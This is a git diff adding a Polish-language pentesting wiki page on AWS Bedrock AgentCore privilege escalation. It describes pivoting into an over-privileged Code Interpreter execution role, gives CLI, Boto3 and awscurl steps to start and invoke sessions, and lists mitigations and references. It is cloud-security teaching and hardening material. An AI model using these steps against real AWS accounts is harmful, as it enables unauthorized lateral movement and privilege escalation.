Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

2026-03-12 21:22:57 -07:00 · 2026-02-12 19:48:34 +00:00
parent 30ecf7ab3d
commit f7b25ecb81
1 changed files with 113 additions and 0 deletions
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md
@@ -0,0 +1,113 @@
+# AWS - Bedrock PrivEsc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Amazon Bedrock AgentCore
+
+### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
+
+AgentCore Code Interpreter to zarządzane środowisko wykonawcze. **Custom Code Interpreters** można skonfigurować z **`executionRoleArn`**, które “zapewnia uprawnienia dla Code Interpreter do dostępu do usług AWS”.
+
+Jeśli **podmiot IAM o niższych uprawnieniach** może **uruchomić + wywołać** sesję Code Interpreter, która jest skonfigurowana z **bardziej uprzywilejowaną rolą wykonawczą**, wywołujący może efektywnie **przejść do uprawnień roli wykonawczej** (ruch boczny / eskalacja uprawnień w zależności od zakresu roli).
+
+> [!NOTE]
+> Zwykle jest to problem **błędnej konfiguracji / nadmiernych uprawnień** (nadawanie szerokich uprawnień roli wykonawczej interpretera i/lub nadawanie szerokiego dostępu do invoke).
+> AWS wyraźnie ostrzega, aby unikać eskalacji uprawnień poprzez zapewnienie, że role wykonawcze mają **równe lub mniejsze** uprawnienia niż tożsamości uprawnione do wywoływania.
+
+#### Warunki wstępne (typowa błędna konfiguracja)
+
+- Istnieje **custom code interpreter** z nadmiernie uprzywilejowaną **rolą wykonawczą** (np.: dostęp do wrażliwych S3/Secrets/SSM lub możliwości zbliżone do admina IAM).
+- Użytkownik (developer/auditor/CI identity) ma uprawnienia do:
+- uruchamiania sesji: `bedrock-agentcore:StartCodeInterpreterSession`
+- wywoływania narzędzi: `bedrock-agentcore:InvokeCodeInterpreter`
+- (Opcjonalnie) Użytkownik może także tworzyć interpretery: `bedrock-agentcore:CreateCodeInterpreter` (pozwala to na utworzenie nowego interpretera skonfigurowanego z rolą wykonawczą, w zależności od ograniczeń organizacyjnych).
+
+#### Rozpoznanie (identify custom interpreters and execution role usage)
+
+Wypisz interpretery (control-plane) i sprawdź ich konfigurację:
+```bash
+aws bedrock-agentcore-control list-code-interpreters
+aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
+````
+> Polecenie create-code-interpreter obsługuje `--execution-role-arn`, który określa, jakie uprawnienia AWS będzie miał interpreter.
+
+#### Krok 1 - Rozpocznij sesję (to zwraca `sessionId`, a nie interactive shell)
+```bash
+SESSION_ID=$(
+aws bedrock-agentcore start-code-interpreter-session \
+--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
+--name "arte-oussama" \
+--query sessionId \
+--output text
+)
+
+echo "SessionId: $SESSION_ID"
+```
+#### Step 2 - Uruchomienie kodu (Boto3 lub signed HTTPS)
+
+Nie ma **interaktywnej powłoki Pythona** z `start-code-interpreter-session`. Wykonanie odbywa się za pomocą **InvokeCodeInterpreter**.
+
+**Opcja A - Przykład Boto3 (wykonanie kodu Python + weryfikacja tożsamości):**
+```python
+import boto3
+
+client = boto3.client("bedrock-agentcore", region_name="<REGION>")
+
+# Execute python inside the Code Interpreter session
+resp = client.invoke_code_interpreter(
+codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
+sessionId="<SESSION_ID>",
+name="executeCode",
+arguments={
+"language": "python",
+"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
+}
+)
+
+# Response is streamed; print events for visibility
+for event in resp.get("stream", []):
+print(event)
+```
+Jeśli interpreter jest skonfigurowany z rolą wykonawczą, wynik `sts:GetCallerIdentity()` powinien odzwierciedlać tożsamość tej roli (a nie niskoprzywilejowego wywołującego), demonstrując pivot.
+
+**Opcja B - Podpisane wywołanie HTTPS (awscurl):**
+```bash
+awscurl -X POST \
+"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
+--service bedrock-agentcore \
+--region <Region> \
+-d '{
+"name": "executeCode",
+"arguments": {
+"language": "python",
+"code": "print(\"Hello from AgentCore\")"
+}
+}'
+```
+#### Wpływ
+
+* **Lateral movement** do wszelkiego dostępu AWS, jaki ma rola wykonawcza interpretera.
+* **Eskalacja uprawnień** jeśli rola wykonawcza interpretera ma wyższe uprawnienia niż wywołujący.
+* Trudniejsze wykrywanie, jeśli CloudTrail data events dla wywołań interpretera nie są włączone (wywołania mogą nie być rejestrowane domyślnie, w zależności od konfiguracji).
+
+#### Środki zaradcze / Utwardzanie
+
+* **Zasada najmniejszych uprawnień** dla interpretera `executionRoleArn` (traktować jak Lambda execution roles / CI roles).
+* **Ogranicz, kto może wywoływać** (`bedrock-agentcore:InvokeCodeInterpreter`) i kto może rozpoczynać sesje.
+* Użyj **SCPs** aby odmówić InvokeCodeInterpreter z wyjątkiem zatwierdzonych ról runtime agenta (może być konieczne wymuszenie na poziomie organizacji).
+* Włącz odpowiednie **CloudTrail data events** dla AgentCore tam, gdzie to ma zastosowanie; generuj alerty przy nieoczekiwanych wywołaniach i tworzeniu sesji.
+
+## References
+
+- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
+- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
+- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
+- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
+- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
+- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
+
+
+{{#include ../../../../banners/hacktricks-training.md}}